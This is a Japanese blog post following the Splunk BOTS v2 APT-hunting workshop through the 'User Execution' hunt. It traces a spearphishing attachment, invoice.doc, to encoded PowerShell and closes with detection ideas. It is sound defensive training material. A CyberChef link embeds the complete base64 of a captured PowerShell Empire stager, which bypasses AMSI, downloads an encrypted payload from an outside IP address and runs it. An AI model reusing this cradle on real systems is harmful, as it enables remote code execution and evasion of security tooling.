Splunk BOSS of the SOCについて(その２ User Execution)

[Boss of the SOC (BOTS) Advanced APT Hunting Companion App for Splunk](https://splunkbase.splunk.com/app/4430/)
Hunting an APT with Splunk Workshop
Welcome to the Hunting an APT with Splunk Workshop based on the Boss of the SOC 2017 data set.

こちらを元に、手順を追ってみる。データセットは[ここ](https://github.com/splunk/botsv2)
なお、ログの時間を合わせるためユーザの時間帯を**(GMT -08:00)**にする必要がある。

全１３回

1. [概要とPowerShell Empire](https://qiita.com/toshikawa/items/511af1a3054ab81cd475)
2. [FTP Exfiltration](https://qiita.com/toshikawa/items/ca6483e4c0ef7f3bb9d3)
3. [DNS Exfiltration](https://qiita.com/toshikawa/items/93a57d9ac0e06bab0bde)
4. [Adversary Infrastructure](https://qiita.com/toshikawa/items/75cbfa0b522735bc5228)
5. [Spearphishing Attachment](https://qiita.com/toshikawa/items/b9bc3527c0f9787d6be1)
6. [User Execution](https://qiita.com/toshikawa/items/945e271b05c1ea55ef34/)
7. [Account Persistence](https://qiita.com/toshikawa/items/df27a896ab71bafb512d)
8. [Scheduled Task](https://qiita.com/toshikawa/items/b203eb78c699192cfc6d/)
9. [Indicator Removal](https://qiita.com/toshikawa/items/8e0c730280e051a3ed4e/)
10. [User Agent Strings](https://qiita.com/toshikawa/items/bb0055bf74af461824a9/)
11. [OSINT Gathering](https://qiita.com/toshikawa/items/4cad2830289bc83ca330/edit)
12. [Lateral Movement](https://qiita.com/toshikawa/items/054c8c358c79758dec25/)
13. [Data Staging](https://qiita.com/toshikawa/items/886df42faf744c299985/)
14. 

#UserExec
##UserExec - Hypothesis
>仮説
敵は、ファイルに対してアクションを実行するようにユーザーを誘導することにより、Froth.ly内に足場を確立しようとします。
説明
攻撃者は、実行を獲得するために、ユーザーによる特定のアクションに依存する場合があります。 これは、ユーザーがSpearphishing Attachmentを介して配信された悪意のある実行可能ファイルを、ドキュメントファイルのアイコンと見かけの拡張子で開いた場合など、直接コードを実行する場合があります。 ユーザーの実行は、初期アクセスの直後に頻繁に発生しますが、侵入の別の段階、たとえば、攻撃者がファイルを共有ディレクトリまたはユーザーのデスクトップに配置して、ユーザーがクリックすることを期待する場合に発生する可能性があります。

####How Might We Confirm or Refute Our Hypothesis?
Questions To Ask
- どのようなデータソース（sourcetypes）内のファイルの実行すべき？
- スピアフィッシングの添付ファイルを受信する前または後にファイルの実行を検索する必要がありますか？
- ファイルの実行が発生した場合、イベントにはどのようなサポート情報がありますか？
- ユーザーの実行を探し始めるには他にどのような指標が必要ですか？
- この場合、invoice.zipというスピアフィッシング添付ファイルが受信されたことがわかります
- どのシステムで実行されましたか？
- ファイルを実行したユーザー名は何ですか？
ファイルの実行時に何が起こりましたか？

##UserExec - Suspicious Attachment?
>不審と判断された添付ファイルは実行されましたか？

>以前のハントで特定の添付ファイルが疑わしいと特定されました。 これまでのデータに基づいて、他のデータソースを使用して、攻撃者がユーザーに添付ファイルを開いてペイロードを実行するよう誘導したかどうかを判断できます。

####Invoice.zip
>Splunk内のinvoice.zipの他の場所を見てみましょう。 stream：smtpデータで見たことは既にわかっているので、それ以外のsourcetypesで参照を探しましょう。

>ここで、SysmonおよびWindowsイベントでinvoice.zipが参照されていることがわかります。 ホストフィールドにピボットすると、これらのイベントはすべてwrk-btunのワークステーションから発生したことがわかります。

####Windows Event Logs and Invoice.zip
>Windowsイベントログとレジストリを見ると、temp_invoice.zip内からwinword.exeがinvoice.docを開始および開いていることがわかります。

####Sysmon and Invoice.zip
>Sysmonに注目すると、プロセス作成Windowsイベントとほぼ同時であるがWindowsレジストリイベントの前に、invoice.zipを参照する2つのイベントが表示されます。

####Digging Into Sysmon
>プロセス作成Sysmonイベントを見ると、winword.exeが実行され、invoice.zipから抽出されたinvoice.docが開かれていることがわかります。 これとVirusTotalヒット（Spearphishing Attachmentハントによる）の欠如に基づいて、大規模な実行が大混乱を引き起こす可能性があります。

####Time Picker
>タイムピッカーを使用して、8月23日20:28:55に発生した最初のSysmonイベントに時間範囲を絞り込み、この最初のSysmonイベントが発生してから数分後にアクティビティを探しましょう。

####Sysmon Activity Post Winword
>reverseコマンドを使用すると、発生した順序でイベントが発生することがわかります。

####Sysmon Detail
>Sysmonイベントのリストをスクロールすると、winword.exeの実行直後にこのイベントが表示されます。 コマンドラインを一目で見ると、エンコードされたPowerShellが表示されます。 エンコードされたPowerShellを取得しましょう。

[CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Remove_null_bytes()&input=V3dCU0FFVUFSZ0JkQUM0QVFRQlRBRk1BUlFCdEFHSUFiQUJaQUM0QVJ3QmxBRlFBVkFCWkFGQUFaUUFvQUNjQVV3QjVBSE1BZEFCbEFHMEFMZ0JOQUdFQWJnQmhBR2NBWlFCdEFHVUFiZ0IwQUM0QVFRQjFBSFFBYndCdEFHRUFkQUJwQUc4QWJnQXVBRUVBYlFCekFHa0FWUUIwQUdrQWJBQnpBQ2NBS1FCOEFEOEFld0FrQUY4QWZRQjhBQ1VBZXdBa0FGOEFMZ0JIQUdVQWRBQkdBRWtBUlFCTUFHUUFLQUFuQUdFQWJRQnpBR2tBU1FCdUFHa0FkQUJHQUdFQWFRQnNBR1VBWkFBbkFDd0FKd0JPQUc4QWJnQlFBSFVBWWdCc0FHa0FZd0FzQUZNQWRBQmhBSFFBYVFCakFDY0FLUUF1QUZNQVpRQjBBRllBWVFCTUFIVUFaUUFvQUNRQWJnQjFBRXdBYkFBc0FDUUFWQUJ5QUhVQVJRQXBBSDBBT3dCYkFGTUFXUUJ6QUZRQVJRQk5BQzRBVGdCbEFIUUFMZ0JUQUdVQWNnQldBRWtBWXdCRkFGQUFUd0JwQUc0QVZBQk5BRUVBYmdCQkFFY0FSUUJ5QUYwQU9nQTZBRVVBV0FCUUFFVUFZd0JVQURFQU1BQXdBRU1BVHdCT0FIUUFhUUJ1QUhVQVpRQTlBREFBT3dBa0FIY0FRd0E5QUU0QVJRQjNBQzBBVHdCQ0FHb0FSUUJEQUZRQUlBQlRBSGtBY3dCVUFHVUFiUUF1QUU0QVJRQjBBQzRBVndCbEFFSUFRd0JzQUdrQVJRQnVBRlFBT3dBa0FIVUFQUUFuQUUwQWJ3QjZBR2tBYkFCc0FHRUFMd0ExQUM0QU1BQWdBQ2dBVndCcEFHNEFaQUJ2QUhjQWN3QWdBRTRBVkFBZ0FEWUFMZ0F4QURzQUlBQlhBRThBVndBMkFEUUFPd0FnQUZRQWNnQnBBR1FBWlFCdUFIUUFMd0EzQUM0QU1BQTdBQ0FBY2dCMkFEb0FNUUF4QUM0QU1BQXBBQ0FBYkFCcEFHc0FaUUFnQUVjQVpRQmpBR3NBYndBbkFEc0FXd0JUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVV3QmxBSElBZGdCcEFHTUFaUUJRQUc4QWFRQnVBSFFBVFFCaEFHNEFZUUJuQUdVQWNnQmRBRG9BT2dCVEFHVUFjZ0IyQUdVQWNnQkRBR1VBY2dCMEFHa0FaZ0JwQUdNQVlRQjBBR1VBVmdCaEFHd0FhUUJrQUdFQWRBQnBBRzhBYmdCREFHRUFiQUJzQUdJQVlRQmpBR3NBSUFBOUFDQUFld0FrQUhRQWNnQjFBR1VBZlFBN0FDUUFWd0JqQUM0QVNBQmxBRUVBUkFCbEFISUFjd0F1QUVFQVpBQmtBQ2dBSndCVkFITUFaUUJ5QUMwQVFRQm5BR1VBYmdCMEFDY0FMQUFrQUhVQUtRQTdBQ1FBVndCakFDNEFVQUJTQUU4QVdBQjVBRDBBV3dCVEFIa0Fjd0IwQUdVQWJRQXVBRTRBUlFCMEFDNEFWd0JGQUVJQVVnQmxBSEVBZFFCbEFGTUFWQUJkQURvQU9nQkVBR1VBWmdCQkFGVUFiQUIwQUZjQVpRQmlBRkFBY2dCUEFIZ0FlUUE3QUNRQVZ3QkRBQzRBVUFCU0FHOEFlQUI1QUM0QVF3QlNBRVVBUkFCbEFFNEFkQUJKQUVFQWJBQnpBQ0FBUFFBZ0FGc0FVd0I1QUZNQWRBQmxBRTBBTGdCT0FFVUFWQUF1QUVNQVVnQmxBR1FBUlFCT0FIUUFhUUJCQUd3QVF3QkJBRU1BYUFCRkFGMEFPZ0E2QUVRQVpRQkdBRUVBZFFCc0FGUUFUZ0JGQUZRQVZ3QnZBRklBYXdCREFISUFaUUJFQUVVQVRnQlVBRWtBWVFCc0FGTUFPd0FrQUVzQVBRQmJBRk1BZVFCekFGUUFaUUJ0QUM0QVZBQkZBSGdBZEFBdUFFVUFUZ0JqQUU4QVpBQnBBRTRBUndCZEFEb0FPZ0JCQUZNQVF3QkpBRWtBTGdCSEFHVUFkQUJDQUZrQVZBQmxBSE1BS0FBbkFETUFPQUE1QURJQU9BQTRBR1VBWkFCa0FEY0FPQUJsQURnQVpRQmhBRElBWmdBMUFEUUFPUUEwQURZQVpBQXpBRElBTUFBNUFHSUFNUUEyQUdJQU9BQW5BQ2tBT3dBa0FGSUFQUUI3QUNRQVJBQXNBQ1FBU3dBOUFDUUFRUUJ5QUdjQVV3QTdBQ1FBVXdBOUFEQUFMZ0F1QURJQU5RQTFBRHNBTUFBdUFDNEFNZ0ExQURVQWZBQWxBSHNBSkFCS0FEMEFLQUFrQUVvQUt3QWtBRk1BV3dBa0FGOEFYUUFyQUNRQVN3QmJBQ1FBWHdBbEFDUUFTd0F1QUVNQVR3QlZBRTRBVkFCZEFDa0FKUUF5QURVQU5nQTdBQ1FBVXdCYkFDUUFYd0JkQUN3QUpBQlRBRnNBSkFCS0FGMEFQUUFrQUZNQVd3QWtBRW9BWFFBc0FDUUFVd0JiQUNRQVh3QmRBSDBBT3dBa0FFUUFmQUFsQUhzQUpBQkpBRDBBS0FBa0FFa0FLd0F4QUNrQUpRQXlBRFVBTmdBN0FDUUFTQUE5QUNnQUpBQklBQ3NBSkFCVEFGc0FKQUJKQUYwQUtRQWxBRElBTlFBMkFEc0FKQUJUQUZzQUpBQkpBRjBBTEFBa0FGTUFXd0FrQUVnQVhRQTlBQ1FBVXdCYkFDUUFTQUJkQUN3QUpBQlRBRnNBSkFCSkFGMEFPd0FrQUY4QUxRQkNBRmdBYndCU0FDUUFVd0JiQUNnQUpBQlRBRnNBSkFCSkFGMEFLd0FrQUZNQVd3QWtBRWdBWFFBcEFDVUFNZ0ExQURZQVhRQjlBSDBBT3dBa0FGY0FRd0F1QUVnQVpRQmhBRVFBWlFCU0FGTUFMZ0JCQUdRQVpBQW9BQ0lBUXdCdkFHOEFhd0JwQUdVQUlnQXNBQ0lBY3dCbEFITUFjd0JwQUc4QWJnQTlBR29BYXdCdUFGZ0FjQUJ2QUdFQU53QndBRlVBUVFBd0FHd0FSQUJDQUNzQWJnQlpBR2tBVVFCMkFGVUFPUUIxQUc0QVNBQm5BRDBBSWdBcEFEc0FKQUJ6QUdVQWNnQTlBQ2NBYUFCMEFIUUFjQUJ6QURvQUx3QXZBRFFBTlFBdUFEY0FOd0F1QURZQU5RQXVBRElBTVFBeEFEb0FOQUEwQURNQUp3QTdBQ1FBZEFBOUFDY0FMd0JzQUc4QVp3QnBBRzRBTHdCd0FISUFid0JqQUdVQWN3QnpBQzRBY0FCb0FIQUFKd0E3QUNRQVJBQkJBRlFBUVFBOUFDUUFWd0JEQUM0QVJBQnZBRmNBYmdCTUFHOEFRUUJrQUVRQVlRQlVBR0VBS0FBa0FGTUFSUUJ5QUNzQUpBQjBBQ2tBT3dBa0FFa0FWZ0E5QUNRQVJBQkJBRlFBWVFCYkFEQUFMZ0F1QURNQVhRQTdBQ1FBWkFCQkFGUUFZUUE5QUNRQVJBQmhBRlFBUVFCYkFEUUFMZ0F1QUNRQVpBQmhBRlFBWVFBdUFFd0FaUUJPQUVjQWRBQklBRjBBT3dBdEFHb0Fid0JwQUU0QVd3QkRBRWdBWVFCeUFGc0FYUUJkQUNnQUpnQWdBQ1FBVWdBZ0FDUUFaQUJoQUhRQVlRQWdBQ2dBSkFCSkFGWUFLd0FrQUVzQUtRQXBBSHdBU1FCRkFGZ0E)
>CyberChefまたは他のbase64デコーダーを開くと、エンコードされたPowerShellを取得して出力を確認できます。 PowerShell Empireのハントを思い出すと、そのハントとフィッシングの仮説との間に関係があるようです。 ここのゆりかごは、先ほど見たものと同じように見えます。

##UserExec - Findings
####Were We Able To Confirm Our Hypothesis?
- invoice.zipの実行を特定のユーザーにトレースできました
- そのユーザーは、Windowsがinvoice.doc（invoice.zipから抽出された）を開いた直後にシステムで実行されているPowerShellをエンコードしていました
- PowerShell帝国の狩りで同じ揺りかごが見つかりました

####What We Learned
- Billy Tunが添付ファイルinvoice.docを実行したようです
- Invoice.docは、スピアフィッシングメールで見つかったinvoice.zipから抽出されました
- ドキュメントが開かれた後にPowerShellが実行された
- ドキュメントが開かれた後に見つかったPowerShellは、実施されたPowerShell Empireの以前のハントで見つかったPowerShellと同じです

####What should we operationalize?
>各ハントの終わりに、私たちは何を取り、インシデント対応チームにフィードバックできるかについて考えたいと思います。 これは、ボックスを引っ張ってフォレンジックアクティビティを実行するなどの追加アクティビティであるか、インジケータを取得してSIEMまたはログ管理システムにフィードするか、発見したことに基づいて新しい分析とアラートを構築することができます。 一日の終わりには、先ほど言ったように、狩りから何かを学ぶ必要があります！

- マクロ対応ファイルの使用を禁止する
 - 幸運を-ビジネスに影響を与える可能性があります
- 実行を監視する
- 実行を分析、記録、および潜在的にブロックするEDRソリューションを適用する
- PowerShellがエンコードされた状態でSysmonまたはWindowsイベントコード4688が表示されるとアラート
 - すべての環境で機能するとは限りません。一部の管理者はPowerShellを（正当に）エンコードし、環境を理解します。